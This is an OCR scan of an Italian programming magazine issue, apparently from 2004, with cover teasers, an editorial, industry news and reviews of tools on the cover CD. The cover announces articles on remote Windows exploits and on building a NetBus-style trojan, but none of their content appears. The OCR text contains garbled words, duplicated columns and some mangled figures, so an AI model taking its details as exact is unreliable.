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CELLULARE 

PRENDI I DATI DAL WEB! 



Telefonini Java: costruiamo applicazioni 
che accedono alle informazioni via Internet 

L'esempio completo 
per interrogare 
un vocabolario 
dal tuo cellulare 
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LA FORZA DI EXCEL 
NEL TUO SOFTWARE 

Grafici e fogli di calcolo nelle tue applicazioni, 
programmando Office XP con C# 



L'UNDO/REDO 

Realizziamo un'applicazione 
Java di grafica vettoriale 



E SICUREZZA 

Inviare e ricevere dati 
in modo sicuro con .NET 



UHI AGEIUT NELLE TUE APPLICAZIONI: 

EINSTEIN E CLIPPY AL NOSTRO SERVIZIO! 
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EXPLOIT 



Come fanno gli hacker 
a prendere il controllo 
di un sistema Windows 
XP e 2000... da remoto 



SISTEMA 



Grafica: il rendering 
nel framework .NET 
Controllare Windows 
con gli EventLog 



INTERNET 



Costruiamo un NETBUS 
in Visual Basic 
L'attivazione software 
via Web Services 
VB: la trasmissione 
sicura di dati 



ELETTRONICA 



Cifratura e chiave 
hardware 



CORSI 



VB.NET: disegnare 
è bello! 

C#: leggere e scrivere file 
C++: i consigli per 
un codice più veloce 



ADVANCED 



Le classi vector e matrix 
per simulazioni fisiche 
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Gli ingredienti 



Una piccola novità accompagnerà, da questo mese, tutti gli articoli 
pubblicati sulle pagine di ioProgrammo. Chi di voi ha già sfogliato la 
rivista, avrà notato un nuovo piccolo box presente nella prima pagi- 
na di ogni articolo: vi sono riportate schematicamente quattro picco- 
le note che, ci auguriamo, vi saranno utili per preparavi ad una sapi- 
da lettura dell'articolo stesso. Possiamo dire che, per leggere 
ioProgrammo, esistono due posizioni fondamentali: stesi su una pol- 
trona a sfogliare quello che accade (angolo ottuso), e chini sulla 
tastiera a sperimentare i progetti e le tecniche che proponiamo 
(angolo acuto). Il box cui accennavo vorrebbe essere d'aiuto nella 
fase "ad angolo acuto". Troverete delle indicazioni sul tipo di cono- 
scenza richiesta per affrontare la costruzione del progetto e sugli 
strumenti necessari alla sua messa in opera: piattaforma di sviluppo, 
sistema operativo e tutto quanto risulti indispensabile. Espresse gra- 
ficamente, trovate anche le indicazioni su impegno e tempo richiesti 
dal progetto. In questo caso, non forniamo ovviamente dati oggetti- 
vi, ma valutazioni che speriamo siano di aiuto nel capire in anticipo il 
livello dell'articolo ed il tempo di realizzazione del progetto. Ci siamo 
ispirati alle riviste di cucina, in particolare a quella piccola e imman- 
cabile sezione chiamata ingredienti. Come una rivista di cucina, 
ioProgrammo tenta ogni mese di trovare ricette appetitose, cercan- 
do di soddisfare sia i gourmet dell'informatica che i nuovi adepti, 
desiderosi di scoprire come fare un uovo sodo! È solo grazie ai 
vostri consigli e alle vostre critiche che riusciamo a tenere l'equili- 
brio fra piatti articoli "semplici" e progetti che si rivolgano a svilup- 
patori più smaliziati. Dunque, anche sul box degli ingredienti: aspet- 
to le vostre e-mail! 

PS. Non temete, il mese prossimo trove- 
rete ancora un CD-Rom in allegato, non 
un mestolo. r\ n t 

raffaele@edmaster. it 

All'inizio di ogni articolo, troverete un nuovo simbolo che indicherà la 
presenza di codice e/o software allegato, che saranno presenti sia sul CD 
(nella posizione di sempre \soft\codice\ e \soft\tools\) sia sul Web, all'indirizzo 
http: / / cdrom.ioprogrammo.it. 

Per scaricare software e codice da Internet, ogni mese indicheremo una 
password differente. Per il numero che avete fra le mani la combinazione è: 

Username: startagain Password: three 
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nome_file.zip 
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I k! [sW/j L'ACCORDO 

COM MICROSOFT: 
UHI ABBRACCIO 
MORTALE PER SUN? 



CRITTOGRAFIA 
XML IM 
APACHE 

Il gruppo che si occupa di 
sicurezza XML 
all'interno dell'Apache 
Foundation ha rilasciato, 
in versione beta, le 
librerie Java e C++ per le 
funzioni di crittografia di 
documenti XML. Un 
importante passo nella 
direzione di una migliore 
sicurezza per uno dei 
migliori web server open 
source esistenti. 
http://xml.apache.org/security 



AOL VUOLE 



NETSCAPE 

hi ricorda la guerra dei 
browser? Quando 
ancora infuriava la 
battaglia fra l'Explorer di 
Microsoft e Netscape, 
America On Line (AOL) 
acquisì quest'ultimo con un 
investimento pari a 4,2 
miliardi di dollari. Da quel 
momento, il declino del 
browser fu inarrestabile e a 
contrastare il dominio del 
browser di Microsoft sono 
rimasti solo Mozilla ed i 
suoi derivati Open Source. 
Lo scorso anno, AOL 
decretò la fine dello 
sviluppo di Netscape, 
licenziando praticamente 
tutti i ricercatori impegnati 
nella piattaforma. 
Ora AOL si appresta a 
rilanciare il marchio 
Netscape, con una versione 
7.2 del browser. 
Basata sulla release 1.7 di 
Mozilla, questa nuova 
versione di Netscape mira a 
riprendersi una parte delle 
quote di mercato 
abbandonate da quello che 
fu il più diffuso browser nei 
primi anni del boom di 
internet. 

www.netscape.com 



Chiudendo una controversia legale che ha 
segnato gli ultimi anni dell'informatica, 
Sun e Microsoft hanno stretto un'alleanza 
strategica che rivoluzionerà il mondo dello 
sviluppo. In una conferenza stampa congiun- 
ta, Steve Ballmer (CEO di Microsoft) e Scott 
McNealy (Presidente di Sun Microsystems), 
hanno reso noto il contenuto dell'accordo 
che si può riassumere in due componenti: 
una economica e l'altra tecnologica. Dal pun- 
to di vista economico, Microsoft verserà a Sun 
una somma pari a 1,95 miliardi di dollari. Di 
questi: 900 milioni per la questione dei bre- 
vetti, 700 milioni per chiudere il processo e 
350 milioni per poter incorporare nei propri 
prodotti server alcuni software di interopera- 




bilità. Per ciò che riguarda le implicazioni tec- 
nologiche della vicenda, le due compagnie 
hanno messo a punto un protocollo di intesa 
(non in senso informatico) attraverso cui 
scambiarsi informazioni tecniche, senza an- 
dare a ledere i rispettivi diritti di proprietà in- 
tellettuale. Ed ecco una delle chiavi per capire 
come è stato possibile arrivare all'accordo fra 
due nemici giurati quali erano Microsoft e 
Sun: la proprietà intellettuale. Questa è la 
frontiera comune, rispetto alla quale nessuno 
dei due protagonisti vuole indietreggiare. 
Entrambe le compagnie, pensano sia vitale 
difenderla contro il nemico comune: Linux e 
tutto il movimento Open Source. Le piattafor- 
me SPARC e Solaris, sono le quotidiane vitti- 
me di uno stillicidio che vede 
un continuo drenaggio di ex- 
utenti Sun verso soluzioni 
AMD/Intel - Linux. Sulla deci- 
sione di Sun ha agito anche un 
altro motivo nella direzione 
dell'accordo: il pesantissimo 
passivo che il bilancio di Sun 
registra ormai da troppo tem- 
po. 

La liquidità garantita dall'ac- 
cordo arriva dunque a ridi- 
mensionare una crisi finanzia- 
ria talmente grave da aver in- 



JAVA COIMFERENCE 2004 



Martedì 8 Giugno, al Cen- 
tro Congressi Milanofio- 
ri di Assago, avrà luogo la nona 
edizione della Java Conferen- 




Open Source 

Open Systems 

Open Minds 



JAVA 

■ CONFERENCE- 



ce: condivisione dell'innova- 
zione, libertà di scelta, scam- 
bio di idee. L'edizione 2004 di 
Java Conference si rivolge a 
tutti coloro che 
sono interessati a 
sviluppare o uti- 
lizzare soluzioni 
basate su tecnolo- 
gie Open Source e 
Java e che credono 
nel valore degli 
Standard Aperti 
come elemento 




chiave dell'innovazione tecno- 
logica. Durante la mattinata si 
svolgerà la sessione plenaria 
con interventi di executive Sun 
e alcuni ospiti internazionali. 
Nel pomeriggio si terranno le 
sessioni tematiche parallele 
dedicate a sviluppatori, IT e 
Business Manager. Anche que- 
st'anno l'area espositiva sarà 
l'occasione per conoscere tutte 
le novità in fatto di prodotti e 
soluzioni. 

http://it.sun.com 
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dotto la Standard & Poor ad abbassare a Junk il rating 
delle azioni di Sun. Molti analisti credono comunque 
che, a lungo termine, questo accordo non potrà che 
danneggiare la Sun. 

Ragionando al presente, si può senz'altro valutare que- 
sto accordo come un grave danno di immagine per 
una Sun che aveva fatto della battaglia contro Mi- 
crosoft una delle sue ragioni sociali. 
Ecco un piccolo florilegio delle battute meno pesanti 
che Scott McNealy ha rivolto nei confronti dell'azienda 
da lui stesso battezzata "L'impero del male": 

"Probabilmente il più pericoloso e potente industriale 
della nostra epoca" (riferendosi a Bill Gates) 
"Una gigantesca palla di aria" (a proposito di Windows 
e Windows NT) 

"Windows More Errors" (Windows ME) 
"Captive Directory" (parafrasando Active Directory) 
".Nof, ".NotYet", ".Nut" (parafrasando .Net) 
"Potete anche prendere in considerazione l'offerta del la- 
to oscuro: la prima dose di eroina è gratuita!". (Rivol- 
gendosi agli sviluppatori "tentati" dalla piattaforma 
Microsoft) 

Forse aveva ragione Ballmer quando lo definì maniaca- 
le l'avversione di McNealy nei confronti di Microsoft. 
Da buon amico, ha trovato un'ottima cura. 



ICQ: UNA NUOVA 



DI SVILUPPO 



Aprendo la programmazione del suo instant-messenger agli 
sviluppatori di tutto il mondo, AOL ha lanciato ICQ 4.0 con 
un rinnovato approccio alle funzionalità aggiuntive: una 
nuova piattaforma, chiamata ICQ Xtraz, consente di 
aggiungere nuove funzionalità ai client. Attraverso una 
completa API, gli sviluppatori possono creare add-on 
utilizzando Flash, HTML o DHTML. 
Le nuove funzionalità possono 
essere scaricate dai server di ICQ e 
vanno a integrarsi nella inter- 
faccia dei client. Gli utenti, 
collegandosi alla home page di 
ICQ, possono scegliere quali 
funzionalità integrare con grande 
semplicità. Le API sono già state 
messe a disposizione di alcuni 
partner selezionati di AOL, e 
saranno presto rese pubbliche. 



www.icq.com 
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LE NOVITÀ DI 
VISUAL STUDIO 2005 

Microsoft ha reso note alcune globerà anche tutte le tecnologie 

caratteristiche di quello che presenti in Lonqhorn (la nuova 



Microsoft ha reso note alcune 
caratteristiche di quello che 
sarà il prossimo Visual Studio. 
La più importante sarà l'inclusio- 
ne del Frameeork .NET 2.0, accan- 
to a cui troveremo il potenzia- 
mento di pressoché tutti gli 
aspetti dell'ambiente: l'IDE, le li- 
brerie di classe ed il Common 
Language Runtime (CLR). Tutti i 
linguaggi della piattaforma sa- 
ranno interessati da profonde mi- 
gliorie, una su tutte: l'introduzio- 
ne dei Generics in C# e J#, come 
già successo in Java 1.5. Ancora, 
l'IDE integrerà il refactoring del 
codice, migliorando la gestione 
delle classi. 

Accanto a Visual Studio 2005, 
sarà rilasciata anche una "versio- 
ne speciale" dell'ambiente di svi- 
luppo: Visual Studio Orcas che in- 



globerà anche tutte le tecnologie 
presenti in Longhorn (la nuova 
versione di Windows XP): Avalon 
per l'interfaccia grafica, WinFS 
per il file system, Indigo per i ser- 
vizi Web, ecc. 

http://msdn.microsoft.com/ 
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GOOGLE IN BORSA 

Dopo anni di totale autarchia, Larry 
Page e Sergey Brin hanno deciso 
di fare il grande passo e quotare la pro- 
pria azienda in borsa. Il valore com- 
plessivo dell'azienda potrebbe toccare 
la favolosa cifra di 25$ di dollari e, pur 
conservando il completo controllo del- 
l'azienda, i padri padroni di Google, 
potrebbero essere presto annoverati fra 
gli uomini più ricchi del mondo. È dav- 
vero difficile immaginare cosa riusci- 
ranno a combinare i ragazzi di Google 
con l'enorme massa di denaro che sta 
per investirli. Le ipotesi sono numero- 
se e quelle più accreditate vedono 
Google in rotta di collisione con Mi- 
crosoft: Google ha sviluppato un siste- 
ma operativo ad hoc da per le sue ri- 
cerche, capace di gestire migliaia di PC 
in parallelo. Una delle possibili strade 
potrebbe essere quella di offrire questa 
enorme potenza di calcolo agli utenti 
di Internet, che potrebbero dunque es- 
sere liberati dal dominio Microsoft. 
Siamo certi che Microsoft non resterà a 
guardare. 

www.google.com 
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AUTOniOMIC 
COMPUTING: IBM 
CI CREDE 

iig Blue è determinata nel portare avanti la sua cam- 
pagna di sostegno aW'autonomic computing: un in- 
tera sezione del suo portale per gli sviluppatori è stato 
dedicato al tema. Il sito va ad affiancarsi al toolkit per 
sviluppatori integrabile in Eclipse, già disponibile come 
download gratuito. I computer "autonomi" sono tali 
quando riescono a riconoscere e risolvere i propri pro- 
blemi, auto-riparandosi. Il tutto senza l'intervento uma- 
no, facendo in modo che il sistema continui a lavorare 
correttamente. Il portale è stato progettato per guidare 
gli sviluppatori nella comprensione dell'autonomie com- 
puting: dai concetti fondamentali alle realizzazioni più 
avanzate. Continuamente aggiornato, il portale offre ar- 
ticoli, tutorial e notizie, sempre di ottima fattura. 

www.ibm.com/developerworks/autonomic/ 



DA ORACLE 
MUOVO AMBIENTE 
DI SVILUPPO JAVA 




Oracle ha rilasciato una nuo- 
va versione del proprio 
ambiente di sviluppo per web 
service e applicazioni Java, JDe- 
veloper 10g. L'obiettivo di casa 
Oracle è semplificare i processi 
di sviluppo e fornire una mag- 
giore flessibilità nell'integrazio- 
ne con ambienti di grid compu- 
ting. "L'obiettivo principale di 
questa release è stato quello di 
rendere Java e J2EE maggior- 
mente accessibili ad una più va- 
sta cerchia di sviluppatori", ha 
dichiarato Rob Cheng, direttore 
del marketing di prodotto in 
Oracle. Tra gli sviluppatori è dif- 
fusa una forma di timore reve- 
renziale nei confronti di Java e, 
in special modo, di J2EE, men- 
tre .Net e tutta la piattaforma di 
sviluppo Microsoft ha la fama di 



MYXAML PROGETTARE 
INTERFACCE GRAFICHE CON XML 



Con MyXAML è possibile creare l'in- 
terfaccia utente di un'applicazione 
avvalendosi del linguaggio XAML senza 
attendere l'implementazione definitiva 
di Longhorn che, a detta di Bill Gates, 
non avverrà prima del 2006. Il prodotto 
è attualmente disponibile in modalità 
Technology Preview e comprende un 



GUI Editor che permette di creare l'in- 
terfaccia grafica in modo visuale per 
poi produrre il file XML che la descrive. 
MyXAML è un prodotto Open Source 
rilasciato sotto doppia, una delle quali 
comprende quella GPL. 

www. myxaml. com 
www.suse.com 




essere più semplice da utilizza- 
re. JDeveloper lOg ha proprio 
l'obiettivo di ribaltare questa 
prospettiva attraverso l'intro- 
duzione di nuovi tools, incen- 
trati su un forte utilizzo del drag 
&drop. JDeveloper 10 include 
un Application Development 
Framework, attraverso cui è 
possibile adottare dei modelli di 
applicazione che implementa- 
no tutta la parte più "complica- 
ta" che gli sviluppatori meno 
esperti temono. 

JDeveloper lOg è fortemente 
orientato allo sviluppo di Web 
Services e può essere utilizzato 
proficuamente in ambito SOA e 
per la realizzazione di progetti 
che includano il Grid Compu- 
ting. 

www.oracle.com 



IL PRIMO TOOL 



OPEN SOURCE! 

er la serie incredibile ma vero! 

Microsoft ha rilasciato, con li- 
enza Open Source CPL (Common 
Public License), il suo tool di svilup- 
po di installazioni chiamato WiX 
(Windows Installer XML). WiX è, in 
assoluto, la prima applicazione che 
diventa pubblica su un sito diverso 
da quello della casa di Redmond. 
L'applicazione, tramite XML, con- 
sente di creare db di installazione 
usati dal Microsoft Installer. In par- 
ticolare WiX può essere usato per 
generare direttamente i file MSI o 
MSM. Il progetto di partenza fu 
realizzato originariamente da IBM 
che lo rilasciò come Open Source: la 
licenza con cui Microsoft lo rende 
disponibile consente agli sviluppa- 
tori di modificare il codice e di in- 
cluderlo nelle proprie applicazioni 
commerciali, senza ulteriori obbli- 
ghi. Infatti, la licenza CPL si diffe- 
renzia dalla GPL specialmente in 
questa caratteristica: a testimo- 
nianza che Microsoft non intende 
cedere sul fronte copyright. 
http://sourceforge.net/projects/wix/ 
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APPROVATO uni muovo 

STANDARD PER LA SICUREZZA 
DEI WEB SERVICES 

Il consorzio internazionale OASIS ha ratificato la versione 
1.0 della specifica Web Services (WS) Security. WSS offre 
una base tecnica per realizzare servizi al più alto livello di si- 
curezza. 

Le specifiche WSS dovrebbero essere adottate dalle aziende 
per tutti i servizi che attraversino i firewall, anche nei casi in 
cui le informazioni scambiate non presentino motivi di riser- 
vatezza. Secondo la società di analisi Gartner, WSS sarà lo 
standard per la maggioranza dei Web Services: un invito a ri- 
spettare da subito le specifiche. WSS si basa su tecnologie già 
consolidate come ML Digital Signature, XML Encryption ed i 
certificati X.509, per fornire alle società una modalità stan- 
dard attraverso cui scambiarsi messaggi via Web Services. Al 

consorzio OASIS ade- 
riscono tutti i prota- 
gonisti dell'informati- 
ca: BEA Systems, 
Computer Associates, 
Fujitsu, HP, Hitachi, 
IBM, Microsoft, No- 
kia, Novell, Oracle, 
RSA Security, SAP, Sun 
Microsystems, Veri- 
sign, solo per citare i 
più famosi. 

www. oasis-open. org 







MYSQL CLUSTER 
Al MASTRI 
DI PARTENZA 



E stata rilasciata la 
preview della nuo- 
va suite di MySQL dedi- 
cata alla realizzazione e 
gestione di cluster 
DBMS. 

Disponibile per il down- 
load sul sito ufficiale, si 
tratta di una versione 
di MySQL che accoglie 
le esigenze di sistemi 
mission criticai che 
trovano nel clustering 
la soluzione ideale. 
L'affidabilità è garanti- 
da by-design, e offre un 
up-time pari al 99,999% 
del tempo complessivo 
di utilizzo: in pratica, il 
nostro DB potrà essere 
fuori uso per un mas- 
simo di cinque minuti 



all'anno! 

Il database, paragona- 
bile a Oracle Rac nelle 
funzioni a cui si can- 
dida, è abbinato a un 
motore di storaging ori- 
ginariamente creato da 
Ericsson per applicazio- 
ni in campo Tic. 
Il database viene offer- 
to in due licenze: gra- 
tuito, con licenza Gpl, 
per la realizzazione di 
applicazioni Open Sour- 
ce e a pagamento per lo 
sviluppo di prodotti 
commerciali. MySql Clu- 
ster sarà disponibile 
per più piattaforme: 
Windows, Linux, Solaris 
e Mac OS X. 
www.mysql.com/products/cluster 



UNA MUOVA SOLUZIONE 



T«r 



MULTIPLAYER ONLINE 



Nokia e Sun Microsystems hanno 
annunciato l'imminente rilascio 
di SNAP Mobile, una soluzione per il 
gioco multiplayer online destinata ai 
titoli Java. La soluzione SNAP Mobile 
(Scalatile Network Application 
Package) estenderà la tecnologia 
avanzata di Nokia per il gioco mobile 
multiplayer online a un'ampia gamma 
di terminali mobili Java. SNAP Mobile 
dovrebbe essere disponibile 
nell'ambito di una serie di strumenti 
basati sul Wireless Toolkit di Sun nel 
terzo trimestre 2004. Grazie a questa 
soluzione, gli sviluppatori potranno 
creare con facilità giochi Java dotati 
di una componente di gioco mobile 
multiplayer online che permetterà 



agli utenti di collegarsi online per 
giocare con altre persone in tutto il 
mondo. Gli operatori di rete potranno 
cosi creare in maniera 
veloce ed 

economica una 
comunità di gioco 
mobile online per 
gli abbonati ai loro 
giochi Java, contri- 
buendo in tal modo a 
ottenere un maggiore 
ricavo dalle sessioni di 
gioco online. "Per Ni 
kia, i giochi mol 
multiplayer online e la 
mobilità vanno di pari passo. 
Ecco perché vogliamo collabori 



con Sun per integrare la nostra 

offerta per N-Gage ed estendere 

l'esperienza di gioco mobile online a 

un mercato più ampio per i giochi 

Java," ha affermato llkka Raiskinen, 

Senior Vice President della Games 

Business Unit Nokia. "SNAP Mobile 

mira a fornire agli sviluppatori gli 

I strumenti necessari per creare 

u giochi mobili multiplayer 

online, nonché un percorso 

diretto per il lancio 

UH delle comunità di 

gioco mobile online 

agli operatori di 

rete." 

V www.nokia.com 
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Tarma Installer 2.72 

Per realizzare pacchetti di installazione in più lingue 



Attraverso una interfaccia particolar- 
mente user-friendly, creare pacchetti 
di installazione con Tarma Installer è dav- 
vero facile! Supporta tutte le piattaforme 
Windows (95, 98, Me, NT 4, 2000 e XP) e si 
segnala per numerose caratteristiche po- 
sitive: piccoli pacchetti di installazione, 
interfaccia semplice e rapida da utilizzare, 
funzioni di installazione e disinstallazione 
intelligenti. 

LE DIMENSIONI 
CONTANO 

Tra le migliori caratteristiche di Tarma 
Installer c'è da annoverare certamente la 
ridotta dimensione degli eseguibili che 
vengono creati. In pratica, rispetto alla 
dimensione effettiva del software che 
vogliamo distribuire, l'incremento in ter- 
mini di byte è di appena 50-65 KB. E' su- 
perfluo ribadire l'importanza di questa 
peculiarità, specialmente nel caso in cui si 
voglia distribuire l'applicazione via In- 



ternet: il risparmi di banda si traduce in 
un immediato vantaggio sia per gli utenti 
che per l'host. 

EFFICIENTE 
E AFFIDABILE 

È possibile distribuire programmi, docu- 
menti, controlli ActiveX, font TrueType e 
OpenType, driver per periferiche, aggior- 
namenti di registro e molto altro ancora. 
Presenta funzionalità specifiche per la 
distribuzione sicura delle applicazioni sia 
via Internet sia attraverso CD-ROM. 



GRATUITO 

A dispetto della qualità e della affidabilità 
dimostrate, la versione standard di Tarma 
Installer è completamente gratuita. Esiste 
anche una versione Professional che, a 
fronte di un prezzo di appena $99, offre 
alcune il supporto dello staff di Tarma ed 
alcune caratteristiche aggiuntive come il 



supporto per installazioni multi-lingu e la 
possibilità di personalizzare maggiormen- 
te l'interfaccia. 




Fig. 1: L'interfaccia grafica risulta curata e 
semplice da utilizzare. 



Tarma 
Installer 2.72 

Produttore: Tarma Software Research 
Sul web: www.tarma.com 



fc 



Prezzo: Gratuito 
Nel CD: tin2.exe 



4 



PRIMI PASSI PER UNA NUOVA INSTALLAZIONE 




Q Creando un nuovo progetto, potre- 
mo specificare tutte le informazio- 
ni di base che lo riguardano: nome, ver- 
sione, produttore e così via. 



Hll secondo passo è specificare quali 
file dovranno far parte del proget- 
to ed in quali directory dovranno essere 
collocati. 



Hln questa scheda si può indicare 
quali saranno, per gli utenti, i 
punti di accesso all'applicazione: cartella 
di menu, link su desktop e così via. 
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Enterprise Architect 4.0 

Per sviluppare e documentare software Object Oriented 




Fig. 1: Una soluzione completa per i diagrammi UML. 



Un completo ambiente visuale per svi- 
luppare e manutenere software 
object oriented. Con il pieno supporto di 
UML 2.0, e di tutti i diagrammi contem- 
plati dallo standard. Enterprise Architect 
consente di verificare l'integrità delle 
dipendenze fra i vari oggetti che compon- 
gono i nostri progetti e permette di model- 
lare la gerarchia delle classi, sia statica- 
mente che dinamicamente. 

UML A PORTATA 
DI CLIC 

Con Enterprise Architect è possibile docu- 
mentare con precisione e rapidamente 
qualsiasi progetto di sviluppo software, 
curando tutte le fasi del ciclo di vita del 
progetto: dalla ideazione alla confezione 
finale, passando per la fase di test e del 



controllo sui cambiamenti. 
Enterprise Architect sup- 
porta numerosi tipi di dia- 
grammi UML e, agli utenti 
più esperti, è lasciata la pos- 
sibilità di estenderne le ca- 
pacità con nuovi oggetti. 
Enterprise Architect può 
essere integrato facilmente 
in team che già usino altri 
prodotti per la generazione 
di UML: è infatti possibile 
importare modelli già esi- 
stenti in formato XML 



ENGINEERING 

Insostituibile nelle pratiche di reverse 
engineering, grazie alla possibilità di rico- 
noscere codice scritto in tutti linguaggi più 
diffusi: C++, Java, Visual Basic, Delphi, 
PHP C# eVB.NET. Anche chi si occupa di 
data modelling potrà utilizzare con profit- 
to Enterprise Architect grazie al pieno sup- 
porto per SQL e ODBC: a partire da una 
base di dati già installata e funzionante, 
sarà possibile risalire alla struttura e a tutti 
i dettagli degli oggetti che la compongono. 



DOCUMENTAZIONE 

Molto efficace anche nelle funzionalità di 



report che possono essere generati sia in 
formato RTF sia in HTML. È possibile inte- 
grare l'azione di Enterprise Architect con 
numerosi altri strumenti grazie alle possi- 
bilità offerte dall'import/export in forma- 
to XML. 

Versione di valutazione valida trenta 
giorni. 
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fig 1 . 2: Davvero completa la finestra delle 
proprietà dei singoli oggetti: consente una 
precisa definizione di ogni caratteristea. 



Enterprise Architect 4.0 

Produttore: Sparx Systems 

Sul Web: www.sparxsvstems.com.au 


Prezzo: $125.00 
Nel CD: easetup.exe 
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□ Nel project browser facciamo un 
clic con il tasto destro sul package 
Selezioniamo New Diagram. 



B Scegliamo il tipo di diagramma 
che vogliamo inserire ed indi- 
chiamo un nome di identificazione. 



HCon un clic su OK, avremo a 
disposizione un nuovo diagram- 
ma su cui cominciare a lavorare. 
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GLBasic SDK 1.4 

Sviluppa i tuoi giochi con la semplicità del Basic 



Un completo ambiente di sviluppo che 
consente di generare complessi vi- 
deogiochi tridimensionali, utilizzando una 
sintassi semplice come quella del Basic. In 
poco tempo sarà possibile sviluppare ap- 
plicazioni che interagiscono via rete, con 




Fig. 1: L'ambiente multifinestra consente di 
controllare costantemente gli oggetti creati. 



supporto per il joystick e con un notevoli 
capacità audio. GLBasic rappresenta una 
interessante scorciatoia per tutti coloro i 
quali vogliano cimentarsi con la costruzio- 
ni di videogiochi senza impegnarsi in 
imprese improbe e che richiedano mesi di 
sviluppo. Pur con molte limitazioni, il 
linguaggio che abbiamo a disposizio- 
ne consente di realizzare in poche ore 
videogiochi fluidi e divertenti. I tuto- 
rial inclusi nell'help sono un validissi- 
mo aiuto e guidano alla realizzazione 
di giochi di una certa complessità. Le 
animazioni tridimensionali sono 
davvero ben fatte ed è da segnalare 
che sia i modelli MD2 (Quake2) sia i 
modelli 3DS (3D Studio) sono piena- 
mente supportati. 

La gestione delle luci consente di ave- 
re interessanti effetti luminosi e di 



buona verosimiglianza. Il motore 3D in- 
tegrato risulta dunque particolarmente 
completo e permette anche il riconosci- 
mento delle collisioni. La gestione di 
Internet ed il supporto per collegamenti 
peer to peer e lan consente di realizzare 
anche giochi in multi-utenza. L'ambiente 
di sviluppo include un editor, un generato- 
re di font, un convertitore di modelli tridi- 
mensionali ed un compilatore in grado di 
generare piccoli ed efficienti file .exe. 
Versione di valutazione, risultano disabili- 
tate alcune funzioni. 



* 



GLBasic SDK 1.4 

Produttore: Dream Design 
Sul Web: www.glbasic.com 
Prezzo: €80,00 
Nel CD: glbasic sdk.exe 



è 



Artix Encompass 2.0 
per Windows 

Trasforma i tuoi servizi in Web Services 



Un potente sistema di integrazione, in- 
dipendente dalla piattaforma, che 
consente di costruire servizi sia attraverso 
Java che C++, lavorando senza problemi in 
ambienti eterogenei in cui siano presenti 
Windows e Linux. Artix Encompass con- 
sente di rinnovare le applicazioni già esi- 
stenti e costruite su differenti piattaforme 
middleware, in modo che possano essere 
riutilizzate ed estese senza compromettere 
la qualità del servizio usando i Web service. 



"I 



* 



i 

SAP SAP 

"•^S ^ Artix Bus E "^S 

-P n ^ì 

: I 



Fig. 1: Il modello di integrazione offerto da 
Artix per CORBA. 



Prodotto da IONA per realizzare Enterprise 
Web. Services in C++ e Java, è costiuito da 
due componenti: 

• un ambiente di sviluppo visuale con 
supporto per la generazione automati- 
ca di codice C++ e Java 

• un run-time container altamente per- 
formante e scalabile 

Con Artix Encompass otteremo anche il 
supporto per diversi protocolli: MQ Series, 
Tuxedo, CORBA, TIBCO. Artix Encompass 
consente una completa gestione degli er- 
rori ed il logging delle attività e, dal punto 
di vista enterprise, la qualità dei servizi ero- 
gati sarà garantita dalla completa copertu- 
ra di tutte le principali problematiche: se- 
curity, transazioni, loadbalacing e failover. 
Può essere un ottimo investimento per le 



aziende che si trovino nella condizione di 
rivedere l'infrastruttura software per ren- 
derla più aderente ad un modello architet- 
turale SOA (Service OrientedArchitecture). 
Al fine di ottenere la licenza per l'installa- 
zione del prodotto, è necessario collegarsi 
all'indirizzo http://www.iona .com/sup- 
port/user/register_artix20.xml, lasciare i 
propri dati e completare la sequenza 
richiesta, evitando di scaricare il file di 
installazione che già avete nel CD di 
ioProgrammo. 



Artix Encompass 2.0 

Produttore: IONA Technologies 



Sul Web: www.iona.com 

Prezzo: nd 

Nel CD: artix 2.0 Windows.zip 



fc 
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Java 2 SDK, Standard 
Edition 1.4.2 

Tutto quello che serve per 
realizzare applicazioni Java 

L 7 ambiente di sviluppo Sun che negli 
i ultimi anni si è imposto come la 
prima scelta per i programmatori che 
lavorano in ambito multipiattaforma. In 
questa versione, nuove funzionalità e 
migliori prestazioni arricchiscono l'am- 
biente. Rich client application e Web 
Services sono i campi in cui sono più evi- 
denti i miglioramenti. Tra le novità che più 
faranno gola agli sviluppatori ci sono sicu- 
ramente quelle inerenti Swing. Davvero 
ghiotti i due nuovi look&feel: GTK+ e, 
finalmente, Windows XP Anche le applica- 
zioni lava possono così integrarsi piena- 
mente nell'ambiente visuale del più 
recente Windows. Anche GTK+ risulta 
molto interessante: attraverso un sempli- 
ce resource file, è possibile settare i para- 
metri fondamentali del look&feel. Sempre 
in ambito Swing, è da notare la pesante 
cura dimagrante cui é stata sottoposta 
JFileChooser, che risulta essere ora molto 
più veloce della precedente versione, in 
alcuni casi anche 300 volte più veloce! 
j2sdk-1_4_2_04-windows-i586-p.exe 

MSDE Manager 1.011 

Per gestire database MSDE attra- 
verso una intuitiva interfaccia 
grafica 

Tutte le più comuni operazioni di per la 
gestione di un database MSDE posso- 
no essere effettuate per via visuale grazie a 
MSDE Manager. Sarà possibile aggiunge- 
re, modificare ed eliminare qualsiasi ele- 
mento: database, tabelle, viste regole, 
sored procedure, dati degli utenti e tutto 
quanto è necessario alla vita di una base di 
dati. È possibile schedulare le attività più 
complesse e gestire tutte le fasi di back-up 
e restore. Versione di valutazione valida 
quattordici giorni. 
msde.exe 

SQL Documenter 1.0 

Genera la documentazione per i 
tuoi database 

Un valido strumento che consente di 
documentare database gestiti su SQL 
Server. Con un efficace sistema a schede è 
possibile scegliere rapidamente quali ele- 
menti includere nei report. Le scelte sono 
numerosissime e spaziano dai nomi di 
tabelle e colonne, al tipo di dato e dimen- 



sione, alle regole, fino a coprire ogni detta- 
glio della struttura del DB. L'output può 
essere esportato in PDF e RTF, consenten- 
do ulteriori personalizzazioni. Versione 
valida sette giorni. 
sqldocumentor.exe 

Advanced Query Tool 6.1 

Esplora gli oggetti del tuo 
database 

Un tool che potrà far felici sia gli 
amministratori di database che gli 
sviluppatori: Advanced Query Tool può 
accedere a qualsiasi database ODBC, 
consentendo numerose rapide operazio- 
ni: in pochi istanti è possibile analizzare il 
DB ed estrarne tutte le informazioni chia- 
ve. Gli oggetti che è possibile esplorare 
non si limitano alle tabelle ma coprono 
indici, trigger, procedure e altro ancora. 
Con la versione 6.1, attraverso l'Adminin- 
stration Module, è stata aggiunta la possi- 
bilità di creare e modificare gli oggetti del 
database. 

Versione di valutazione: non è possibile 
salvare le informazioni reperite e c'è un 
limite di 50 righe per ogni query. 
aqtv6.zip 

PopulateMS1 1.3.0.1 

Pacchetti di installazione 
per Windows 

Il modo più semplice per creare pacchet- 
ti di installazione MSI (Windows Instal- 
ler Packages): una interfaccia strutturata 
come un Wizard ci guida in tutto il proces- 
so di composizione. Ampiamente perso- 
nalizzabile, consente di gestire semplice- 
mente le directory, i file e le chiavi di regi- 
stro coinvolte nell'installazione. Versione 
di valutazione, è possibile costruire un 
